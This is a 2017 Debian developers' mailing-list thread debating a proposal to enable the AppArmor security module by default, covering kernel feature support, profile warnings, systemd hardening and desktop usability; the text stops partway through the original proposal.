>> things could break if you upgrade the kernel to a newer version from
>> e.g. backports later on. How would you deal with that kind of
>> breakage during the lifetime of a stable release?

> Agreed, that was pretty much my concern.

Thank you so much for highlighting problems I had missed! :)

A simple, but not entirely satisfying answer is:

1. Gather info about how real this problem has been in practice for
   Ubuntu: they frequently update their kernel for various already
   released distros with the latest AppArmor bits. I think they
   occasionally have to update other packages accordingly to adjust
   AppArmor policy. I don't know how often this happens. I'll ask them
   to compile a list of such stable updates.

2. Evaluate for a year how it goes for Stretch + Linux from backports.

   Desktop: I'm in a good place to provide data points, as Tails
   generally ships this combination and we exercise the vast majority
   of the desktop AppArmor stuff that's in Debian.

   Server: sorry, I use the stable kernel except on bare-metal
   virtualization hosts. But I think (1) will give us enough data on
   this front.

3. Depending on what (1) and (2) tell us, decide whether "we might
   have to update AppArmor policy from time to time in stable
   point-releases or backports" is good enough… keeping in mind that
   other distros are already dealing with the exact same problem, so
   we won't have to do this alone.  And if it's not good enough:

> Ideally the feature set used would also be controlled by the
> apparmor userspace side.

If we need to go this far: apparmor_parser has a --features-file
option that we could leverage to tie the feature set being used to
something else than the version of the running kernel, e.g.
with a file shipped in a new package built from src:linux with
appropriate versioned dependencies.

> Also, I'm wondering about the status of kernel support which is
> currently not upstreamed: intrigeri mention that new features are
> now added to Linux mainline. Was there ever an attempt to upstream
> those existing patches (e.g. for network socket mediation); was it
> NACKed by upstream for conceptual problems or was it simply never
> attempted due to time/resource constraints?

I'm not sure, so I'll let the main AppArmor kernel developer (John,
Cc'ed) answer this.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Christian Seiler]

On 08/09/2017 10:33 PM, intrigeri wrote:
> Christian Seiler:
>> On 08/06/2017 05:32 PM, intrigeri wrote:
>>> Rules that are not supported by the running kernel are silently
>>> ignored, i.e. the operation is allowed.
> 
>> Is there at least a warning during the load of the profile?
> 
> There used to be a warning, but it was causing lots of confusion in
> Debian: users were wondering if *any* of the AppArmor profile that
> caused warning was applied at all. So in Jessie we decided to hide
> these warnings.

Good to know. And since this kind of warning is more likely to lead
people to disable AppArmor altogether because they want to get rid
of the message and are scared by it, you're probably right in
removing that warning, because limited AppArmor protections are
probably still better as a defense-in-depth strategy than none at
all.

>> Or, conversely, is there a possibility to add a flag to the AppArmor
>> profile to say "fail to load it if something is not understood"? In
>> that case all profiles shipped by Debian would not include that (for
>> interoperability reasons) but it could be documented that as a best
>> practice for admins they should use that flag so that they can be
>> sure that all protections they specified are actually affected.
> 
> If we're fine with relying purely on documentation to address this
> problem for sysadmins writing their own profiles, then we can suggest
> they use the existing apparmor_parser options about this:
> 
>   alias apparmor_parser='apparmor_parser --warn=rules-not-enforced 
> --warn=rule-downgraded'
> 
> … and then no new code needs to be written :)
> 
> Would that be good enough in your opinion?

If that documentation is easy enough to find: sure, yes.

Speaking of: are there any good introductions for AppArmor? Not
necessarily for me personally (I've had some experience with
SELinux, so I recon I'll figure AppArmor out easily enough), but
for beginners? Something I can point friends of mine to? Ideally
something that doesn't just describe the syntax, but also best
practices? When I first ran into SELinux I found a couple of
tutorials which did things where I thought, well this doesn't
seem quite well enough thought out, I can think of a couple of
corner cases where this would fainot do what it was advertising,
only to later find that my impression was true and people with
even more knowledge of SELinux talked about not doing the things
I had seen in these tutorials, and suggesting more sensible
things as best practices. Unfortunately the writings by the real
experts were not in tutorial form. For buster, if AppArmor is
enabled by default (which btw. I'm in favor of, in case that was
not clear), I think we should take care to nudge people towards
the resources that describe best practices.

Regards,
Christian

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Christian Seiler:
> On 08/06/2017 05:32 PM, intrigeri wrote:
>> Rules that are not supported by the running kernel are silently
>> ignored, i.e. the operation is allowed.

> Is there at least a warning during the load of the profile?

There used to be a warning, but it was causing lots of confusion in
Debian: users were wondering if *any* of the AppArmor profile that
caused warning was applied at all. So in Jessie we decided to hide
these warnings.

> Or, conversely, is there a possibility to add a flag to the AppArmor
> profile to say "fail to load it if something is not understood"? In
> that case all profiles shipped by Debian would not include that (for
> interoperability reasons) but it could be documented that as a best
> practice for admins they should use that flag so that they can be
> sure that all protections they specified are actually affected.

If we're fine with relying purely on documentation to address this
problem for sysadmins writing their own profiles, then we can suggest
they use the existing apparmor_parser options about this:

  alias apparmor_parser='apparmor_parser --warn=rules-not-enforced 
--warn=rule-downgraded'

… and then no new code needs to be written :)

Would that be good enough in your opinion?

Thanks for all this useful input!

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Ritesh Raj Sarraf:
> But I see there's an apparmor-notify package.

Sadly it's not well integrated in Debian currently.

Root cause of the problem:
https://bugs.launchpad.net/apparmor/+bug/1597671

Short term workaround: https://bugs.debian.org/759604

> Maybe that is the answer.

I suspect the expected benefits are not worth the effort. I'd rather
see us put efforts in automated testing (to identify & fix bugs before
they affect less tech-savvy users) and in fixing actual UX
stumbling blocks.

(apparmor-notify is merely a glorified log reader displaying low-level
technical details in a GUI. So the info it gives people who are not
tech-savvy is essentially "the problem I'm experiencing might have
something to do with AppArmor". I suspect they will have a harder time
interacting with our BTS than copy'n'pasting the corresponding
AppArmor logs, and apparmor-notify won't change that.)

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Russ Allbery]

intrigeri  writes:

> You surely could, but reimplementing exactly the same protections is
> probably not the best use of your time.

> Now, each of systemd and AppArmor can do hardening stuff that the
> other doesn't support (at all or nicely), so sometimes it's good to do
> a little bit of both.

> What I would do these days:

> 1. Use the simplest of systemd's hardening features (e.g.
>Protect{Home,System}=, Private{Devices,Tmp,Network}=,
>CapabilityBoundingSet=) to their full extend.

>Not many unit files we ship do that yet. Generally these
>improvements can be implemented upstream and benefit users of
>systemd on other distros :)

To this, I would add SystemCallFilters, which is immensely powerful and
much easier to use now than it was originally.  I think a lot of the
benefit of hardening for a lot of network daemons would come from tested
use of SystemCallFilters (probably only using the @group syntax).  This
blocks so many local privilege escalation bugs in random Linux syscalls,
making an RCE in a daemon running as a non-root user much less scary.

(For those not familiar, this is seccomp filtering, except about as easy
to use as seccomp can be.  It's not as good as a carefully crafted full
seccomp policy, but you can get quite a bit of mileage out of some fairly
simple rules.)

Note that SystemCallFilters was very difficult to use in jessie since the
syscall groups weren't implemented yet.  I would not recommend trying to
use it if targeting anything older than stretch.

> 2. For finer-grained mediation of filesystem access, I will use
>AppArmor that I find much nicer to implement, use and debug:

Agreed -- AppArmor seems to offer much more granular control over file
system access in a way that's quite a bit easier to configure.
ProtectSystem is great, but the bits that list specific files or paths are
somewhat harder to use and less useful.

-- 
Russ Allbery (r...@debian.org)   

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Chris Lamb:
> Related to this, most of my packages are 'server'-ish and it feels
> like some of the hardening features are also/already covered by my
> systemd .service files.

Quite possibly :)

> Should/could I be also reimplementing these in AppArmor for defense
> in depth or any comments in this general area?

You surely could, but reimplementing exactly the same protections is
probably not the best use of your time.

Now, each of systemd and AppArmor can do hardening stuff that the
other doesn't support (at all or nicely), so sometimes it's good to do
a little bit of both.

What I would do these days:

1. Use the simplest of systemd's hardening features (e.g.
   Protect{Home,System}=, Private{Devices,Tmp,Network}=,
   CapabilityBoundingSet=) to their full extend.

   Not many unit files we ship do that yet. Generally these
   improvements can be implemented upstream and benefit users of
   systemd on other distros :)

2. For finer-grained mediation of filesystem access, I will use
   AppArmor that I find much nicer to implement, use and debug:

* To limit write access, with systemd one must set
  ReadOnlyDirectories=/ and then a bunch of ReadWriteDirectories=
  directives. It works fine once you're done, but I found it hard
  to implement and debug this setup: with AppArmor I have clear
  logs about what access the service was denied, and with systemd
  I have no such thing. This probably explains why only one
  systemd unit installed on my system bothers doing so.

* To limit read access, AFAIK with systemd one can only list
  forbidden places and everything else is allowed by default.
  No wonder InaccessiblePaths= is not used by any unit installed
  on my system.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Chris Lamb]

Hi intrigeri,

> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

Thanks for such a comprehensive and compelling write-up :)

>  * Enable AppArmor on your Debian systems:
>https://wiki.debian.org/AppArmor/HowToUse

  $ sudo aa-status | head -n2
  apparmor module is loaded.
  49 profiles are loaded.

(Well, I should take more risks, right…?)

>  * If you maintain a package for which we ship AppArmor policy in
>Debian: test it with AppArmor enabled before uploading.

Related to this, most of my packages are 'server'-ish and it feels
like some of the hardening features are also/already covered by my
systemd .service files.

Should/could I be also reimplementing these in AppArmor for defense
in depth or any comments in this general area?


Best wishes,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Re: Let's enable AppArmor by default (why not?)

[Garrett R.]

I have Ubuntu running on another box. I haven't had any trouble (to my 
knowledge) that has been caused from apparmor. Ubuntu being perceived as an 
entry OS for linux, I would think Canonical wouldn't have included it if it 
would introduce pain to desktop users. What sort of "pain" might apparmor cause?

I assumed apparmor was also on debian. If it isn't, doesn't this make Ubuntu 
significantly more secure than a debian installation?

- Original Message -
From: "Jeremy Bicha" 
To: "Ritesh Raj Sarraf" 
Cc: debian-devel@lists.debian.org
Sent: Monday, August 7, 2017 9:11:32 AM
Subject: Re: Let's enable AppArmor by default (why not?)

On Mon, Aug 7, 2017 at 9:08 AM, Ritesh Raj Sarraf  wrote:
> But for desktop users, I worry this would cause more pain.

My point is that it hasn't so far and Ubuntu and SUSE has had millions
of people using it for a decade, more or less.

Thanks,
Jeremy Bicha

Re: Let's enable AppArmor by default (why not?)

[Jeremy Bicha]

On Mon, Aug 7, 2017 at 9:08 AM, Ritesh Raj Sarraf  wrote:
> But for desktop users, I worry this would cause more pain.

My point is that it hasn't so far and Ubuntu and SUSE has had millions
of people using it for a decade, more or less.

Thanks,
Jeremy Bicha

Re: Let's enable AppArmor by default (why not?)

[Ritesh Raj Sarraf]

Hello Jeremy,

On Mon, 2017-08-07 at 08:47 -0400, Jeremy Bicha wrote:
> While there are plenty of people who recommend disabling SELinux by
> default on Fedora/RHEL (at least in the past), it's far, far less
> common to hear about anyone recommending disabling AppArmor. And
> that's one reason AppArmor is being proposed here and not SELinux.

They both serve the same purpose; to confine a running process, by the
mandated policy. The core problem is the policy, which may/will not fit
all users irrespective of the LSM implementation they use.

The previous adopters were all targeted distributions and it still took
some time for users to get accustomed to it.

RHEL confined most server packages. For the rest of the system, I
believe it ran unconfined. And they used to have a decent reporting
tool for policy violations.

SUSE used to have a robust LSM integration into YaST.

For a general purpose distribution like Debian, intri's proposal on the
server side is good. We could definitely leverage the policy files from
Ubuntu and SUSE.

But for desktop users, I worry this would cause more pain.
But I see there's an apparmor-notify package. Maybe that is the answer.
I'll check that out some time soon.


Thanks,
Ritesh

-- 
Ritesh Raj Sarraf | http://people.debian.org/~rrs
Debian - The Universal Operating System

signature.asc
Description: This is a digitally signed message part

Re: Let's enable AppArmor by default (why not?)

[Jeremy Bicha]

On Mon, Aug 7, 2017 at 8:28 AM, Ritesh Raj Sarraf  wrote:
> On most systems, people tend to disable LSM first. Because many a times
> an inadequate policy hinders the use of the tool. And on the desktop
> machine this becomes more common an issue.

While there are plenty of people who recommend disabling SELinux by
default on Fedora/RHEL (at least in the past), it's far, far less
common to hear about anyone recommending disabling AppArmor. And
that's one reason AppArmor is being proposed here and not SELinux.

Thanks,
Jeremy Bicha

Re: Let's enable AppArmor by default (why not?)

[Ritesh Raj Sarraf]

On Fri, 2017-08-04 at 19:31 -0400, intrigeri wrote:
> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

On most systems, people tend to disable LSM first. Because many a times
an inadequate policy hinders the use of the tool. And on the desktop
machine this becomes more common an issue.

On the SELinux side, there used to be a nice reporting tool for the
desktop, setroubleshoot. It used to alert (graphical and console) any
policy violations.

A DE agnostic alert tool would be necessary for wide adoption of any
LSM implementation.

In my opinion, we should start with an alert tool (to report policy
violations), and a handful of server packages.


-- 
Given the large number of mailing lists I follow, I request you to CC
me in replies for quicker response

signature.asc
Description: This is a digitally signed message part

Re: Let's enable AppArmor by default (why not?)

[Moritz Mühlenhoff]

Christian Seiler  schrieb:
> Another thing to consider: if a profile is too restrictive, but the
> part that is too restrictive isn't in the upstream kernel yet, then
> things could break if you upgrade the kernel to a newer version from
> e.g. backports later on. How would you deal with that kind of
> breakage during the lifetime of a stable release?

Agreed, that was pretty much my concern. Ideally the feature set
used would also be controlled by the apparmor userspace side.

Also, I'm wondering about the status of kernel support which is
currently not upstreamed: intrigeri mention that new features are
now added to Linux mainline. Was there ever an attempt to upstream
those existing patches (e.g. for network socket mediation); was it
NACKed by upstream for conceptual problems or was it simply never
attempted due to time/resource constraints?

Cheers,
Moritz

Re: Let's enable AppArmor by default (why not?)

[Clint Byrum]

Excerpts from intrigeri's message of 2017-08-04 19:31:36 -0400:
>  - Apparently Ubuntu users have been coping with AppArmor enforced
>by default for 9 years. I see no reason why Debian users would not.
> 

This is really important. A few packages in Ubuntu largely differ from
Debian because they have an AppArmor profile that hasn't yet been
incorporated into Debian. That's a profile that is already tested and
used by many Ubuntu users, and should work well with a Debian system.

I found your proposal thorough and reasonable. I hope it happens.

Re: Let's enable AppArmor by default (why not?)

[Christian Seiler]

On 08/06/2017 05:32 PM, intrigeri wrote:
> Moritz Mühlenhoff:
>> If one of those profiles relies on features which are not upstreamed
>> on the kernel end, how's that handled?
> 
> Rules that are not supported by the running kernel are silently
> ignored, i.e. the operation is allowed.

Is there at least a warning during the load of the profile? Consider a
local sysadmin that creates an own profile for a specific service they
run - and assume that AppArmor will confine it. But because the
kernel doesn't support a specific thing yet the confinement will be
incomplete. Which is probably better than not having AppArmor, and is
probably also OK for profiles shipped with the distribution and / or
upstream software - but not necessarily a good idea for something an
admin touches themselves.

Or, conversely, is there a possibility to add a flag to the AppArmor
profile to say "fail to load it if something is not understood"? In
that case all profiles shipped by Debian would not include that (for
interoperability reasons) but it could be documented that as a best
practice for admins they should use that flag so that they can be
sure that all protections they specified are actually affected.

Another thing to consider: if a profile is too restrictive, but the
part that is too restrictive isn't in the upstream kernel yet, then
things could break if you upgrade the kernel to a newer version from
e.g. backports later on. How would you deal with that kind of
breakage during the lifetime of a stable release?

Regards,
Christian

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Moritz Mühlenhoff:
> I'd expect that a lot of the AppArmor profiles currently in use are
> coming from Ubuntu or OpenSUSE.

Yes, historically (most of them are now maintained via a cross-distro
collaborative effort that a few Debian people participate in).

> If one of those profiles relies on features which are not upstreamed
> on the kernel end, how's that handled?

Rules that are not supported by the running kernel are silently
ignored, i.e. the operation is allowed.

For example, the profile for ping(8) specifies:

  network inet raw,
  network inet6 raw,

In Ubuntu, and in Debian once network socket mediation support lands
in Linux mainline, this means "no socket(2) based operation is allowed
except inet and inet6 raw sockets". In current Debian, no network
mediation by AppArmor is available so all socket(2) based operations
are allowed.

This way:

 * the same profile can be shared between distros, regardless of
   whether they apply not-upstreamed-yet AppArmor kernel patches;

 * once new AppArmor features land in Linux mainline, we automatically
   benefit from stronger confinement that's already implemented in our
   AppArmor policy.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Dr. Bas Wijnen:
> Enabling it by default doesn't mean it can't be switched off, right?

Yes, passing apparmor=0 on the kernel command line will turn it off.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Moritz Mühlenhoff]

intrigeri  schrieb:
> Still, even with the set of features available in mainline Linux
> *today*, IMO enabling AppArmor already has a good cost/benefit ratio
> for Debian and our users. I'm not proposing we apply out-of-tree
> AppArmor kernel patches.

I'd expect that a lot of the AppArmor profiles currently in use are
coming from Ubuntu or OpenSUSE. If one of those profiles relies
on features which are not upstreamed on the kernel end, how's
that handled?

Cheers,
Moritz

Re: Let's enable AppArmor by default (why not?)

[Andrey Rahmatullin]

On Sun, Aug 06, 2017 at 07:28:08AM +, Dr. Bas Wijnen wrote:
> I can't think of a situation where you would not want it
The "I don't want yet another thing that can cause subtle breakages and
doesn't give me anything" situation (see disabling selinux after install
on RH systems).

-- 
WBR, wRAR


signature.asc
Description: PGP signature

Re: Let's enable AppArmor by default (why not?)

[Dr. Bas Wijnen]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Sat, Aug 05, 2017 at 06:28:20PM +0200, Christoph Biedl wrote:
> intrigeri wrote...
> 
> > tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> > and decide one year later if we want to keep it this way in the
> > Buster release.
> 
> [...] while adding another security layer is certainly something to
> consider, I'm as well interested in whether this is feasible for a
> generic-purpose distribution like Debian.

Enabling it by default doesn't mean it can't be switched off, right?  I think
it makes a lot of sense to enable something like this by default, and in fact I
can't think of a situation where you would not want it, but indeed users should
be able to set their system up without it if they so wish.

> The worst thing that could happen was people will have to do the counterpart
> of chmod 777. Then it was a bad idea, but we (as in Debian) have
> substantiation for such a claim.

Yes, we should certainly avoid that; if it looks like that is happening, we
should abort the operation.  But from the well written plan, it sounds to me
like this is unlikely to be the case.

So just to be clear: Yes, please enable AppArmor by default.

Thanks,
Bas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1

iQIcBAEBAgAGBQJZhsUHAAoJEJzRfVgHwHE6/WoP/3NHlHKzWd/DPjBV41Tq6WHT
JwRXT7zqbsLa1UlxeRTBhbH82EAFYpn59s7d882/JQ+0MBvp0bcn9t85i2IYBS7K
LruV569kM0jYYGk4MY9BLmo5WlYlmrE7+B/8wc86oLsvi676SJ33dzQUNczt/fJF
SrXUWix2phMjLtHp9v6+OSdxCDnkMLGQX7VYuv7Zz1n0XenbXeQWBVK/8kJdsuPx
+WsojZ5u72n6IhpRQv4tiP0P28G4Bdi1JN4AwQNSqd44bV1bFl+2Em1DJquly/LO
hCVty9BJVuO/s0KdWeXC7raa4vsaiswKohA0GYkDqT8vBrTZ2chBbJNkQrByR7BF
iXp3o/irlpZIp7A7EUBLPfKKTAVk40gLrw/WYraGJ9zH9y/eNly6y7BcjNbzikMe
euOH+GPr6zvLng+KHC8w0qk3/m8FEWkamAmwPDqZVxuubvid00ECRv4WU9X4bvaf
coLYOumS+T0qmlHrLgUlTq8RtRHg6Nqok3DULQpofTWvtCrNDcWXI21YjDp+kNmW
JzlQ3Ja7baZFDHygmWAvG1fXWCIC3Bl3sLxqy9h5+1m0W8PxqPii/BIZjCSbVMu+
P3VRmryhxdLLL/nzt2zX09VtAJwNAKL42UYfh3nlJN5/4LnT2JpCILvktTtNJoym
V8yP+AuLbIo+TcDrqPLn
=fVTR
-END PGP SIGNATURE-

Re: Let's enable AppArmor by default (why not?)

[Holger Levsen]

On Fri, Aug 04, 2017 at 07:31:36PM -0400, intrigeri wrote:
> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

loving it, please go ahead! ;-)


-- 
cheers,
Holger


signature.asc
Description: Digital signature

Re: Let's enable AppArmor by default (why not?)

[Christoph Biedl]

intrigeri wrote...

> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

I really appreciate your approach of trying this out while being
prepared this might turn out to be a bad idea. Or: Promoting an idea
without being pushy about it.

So while adding another security layer is certainly something to
consider, I'm as well interested in whether this is feasible for a
generic-purpose distribution like Debian. The worst thing that could
happen was people will have to do the counterpart of chmod 777. Then it
was a bad idea, but we (as in Debian) have substantiation for such a
claim.

Christoph


signature.asc
Description: Digital signature

Re: Let's enable AppArmor by default (why not?)

[Antonio Terceiro]

On Sat, Aug 05, 2017 at 11:30:30AM +0100, Simon McVittie wrote:
> On Sat, 05 Aug 2017 at 06:50:00 +, Niels Thykier wrote:
> > Can we integrate these LSM policies into our testing frameworks (e.g.
> > autopkgtests), so we can start having automated tests of even basic
> > functionality.  Or will that happen "out of the box" if we enable it by
> > default (and, possibly, enable it on our test hosts)?
> 
> In practice probably only if our test hosts change from being lxc
> containers to being full virtual machines, which would be good for
> other aspects of test coverage too (flatpak/bubblewrap currently skip
> many of their autopkgtests, and so does debootstrap).

FWIW, my last upload of debci has a prototype qemu backend. I want to
switch to that sooner rather than later.


signature.asc
Description: PGP signature

Re: Let's enable AppArmor by default (why not?)

[Simon McVittie]

On Sat, 05 Aug 2017 at 06:50:00 +, Niels Thykier wrote:
> Can we integrate these LSM policies into our testing frameworks (e.g.
> autopkgtests), so we can start having automated tests of even basic
> functionality.  Or will that happen "out of the box" if we enable it by
> default (and, possibly, enable it on our test hosts)?

In practice probably only if our test hosts change from being lxc
containers to being full virtual machines, which would be good for
other aspects of test coverage too (flatpak/bubblewrap currently skip
many of their autopkgtests, and so does debootstrap).

AppArmor has some amount of support for being used inside a privileged
lxc container, but it's very new and I'm not sure it's going to be a
particularly accurate representation of what would happen on real
hardware. (One of my colleagues looked at lxc + apparmor recently and
was able to make it work, but not trivially.)

S

Re: Let's enable AppArmor by default (why not?)

[Niels Thykier]

intrigeri:

Hi,

Overall, this sounds like an interesting proposal and personally, I
agree that I think the Debian Linux ports would be better off with an
LSM enabled by default.

> What's the cost for Debian users?
> -
> 
> AppArmor unavoidably breaks functionality from time to time: e.g.
> new versions of software we package (or of their dependencies)
> regularly start needing access to new file locations.

s/AppArmor/Any LSM/

Can we integrate these LSM policies into our testing frameworks (e.g.
autopkgtests), so we can start having automated tests of even basic
functionality.  Or will that happen "out of the box" if we enable it by
default (and, possibly, enable it on our test hosts)?

Thanks,
~Niels

Let's enable AppArmor by default (why not?)

[intrigeri]

Hi!

tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
and decide one year later if we want to keep it this way in the
Buster release.

My goals when initiating this discussion are:

 - Get a rough idea of what amount of effort the Debian project is
   happy (and able) to invest into such proactive security measures.

 - Learn about any relevant social & technical concerns I am not
   aware of.

I don't expect we'll make a decision based on this very proposal:
I expect the proposal will need to be refined, or abandoned, to take
into account what we will learn during this preliminary discussion.

Why do we need AppArmor?


AppArmor is a Mandatory Access Control framework implemented as
a Linux Security Module (LSM), user space utilities, and a quite
simple language to define policy.

AppArmor confines programs according to a set of rules that specify
what operations a given program can access, e.g. it can prevent
exploited server software from accessing data it does not own and
executing arbitrary code. This proactive approach helps protect the
system against some known and unknown vulnerabilities.

Various actors are actively exploiting software. Random users are
victimized every day, and specific populations are specifically
targeted, e.g. government opponents, human rights defenders, system
administrators, software developers and distributors, as revealed by
the Snowden leaks.

Every month we learn about many new attack vectors made possible by
programming errors. We fix them after the fact, which is great but
a bit too late: users may already have been exploited. Most operating
systems have adopted proactive approaches to mitigate the impact of
such problems.

In Debian, great efforts are in progress: hardening binaries makes it
harder to write successful exploits, and making our packages build
reproducibly will make it harder to introduce vulnerabilities at the
binary level.

Still, Debian is far from being best in class on this front: we have
no widespread mechanism for sandboxing desktop applications. We can
surely do better. The great news is that there is one low-hanging
fruit waiting to be picked, and it's what this proposal is about :)

A proposal
==

1. Enable AppArmor by default in testing/sid as soon as feasible in
   the Buster cycle.

   I can think of several possible ways to do it but for now I'd
   rather focus on the "do we want to do it at all" conversation.

   If curious some options are listed on the wiki:
   https://wiki.debian.org/AppArmor/Progress#Enabling_AppArmor_by_default.3F
   Feel free to discuss them on .

   And anyway, you can already opt-in for AppArmor on your system today:
   https://wiki.debian.org/AppArmor/HowToUse :)


2. During a year, watch out for AppArmor related issues and address
   them in a prompt manner.

   Note that the best way to address them quickly enough is sometimes
   to simply disable the problematic AppArmor profile: it's cheap,
   doesn't require advanced AppArmor skills, and IMO a smaller
   AppArmor policy enabled by default is more useful than a broader
   but less robust one that only a couple thousand users benefit from.

3. A year after AppArmor was enabled by default: evaluate how it went
   and decide if Buster should be shipped with AppArmor enabled by
   default or not.

   I commit to do an analysis using BTS data to help make this
   decision. If we need formal success criteria and a clearly defined
   team who'll make the call, I'm happy to think about it. But here
   again I'd rather focus on the general idea than on implementation
   details at this point.

Questions and Answers
=

Table of contents:

 - What's the benefit, exactly?
 - What do other distributions do?
 - What's the history of AppArmor in Debian?
 - How popular is AppArmor in Debian?
 - What's the cost for Debian users?
 - What's the cost for package maintainers?
 - Is the Debian AppArmor team strong enough to support this change?
 - Why AppArmor and not SELinux?
 - Why AppArmor and not sandboxing based on XYZ?
 - Will this prevent users from using another Linux Security Module?
 - What does upstream look like?
 - How much will we depend on Canonical's business priorities?
 - No thanks: I've tried AppArmor and it broke stuff too often
 - Doesn't AppArmor need out-of-tree kernel patches?
 - How can I help?
 - Credits

What's the benefit, exactly?


Before we even bother looking at the cost of enabling AppArmor by
default, let's look closer at the expected benefit. In other words:
what kind of attacks does AppArmor really mitigate or prevent in the
real world?

tl;dr: big benefit for server software, and for desktop applications
limited to less sophisticated, non-targeted attacks (but it'll get
better).

AppArmor is well suited to protect against remote exploitation of
security issues in server software and non-GUI programs often run with
elevated privileges (think of d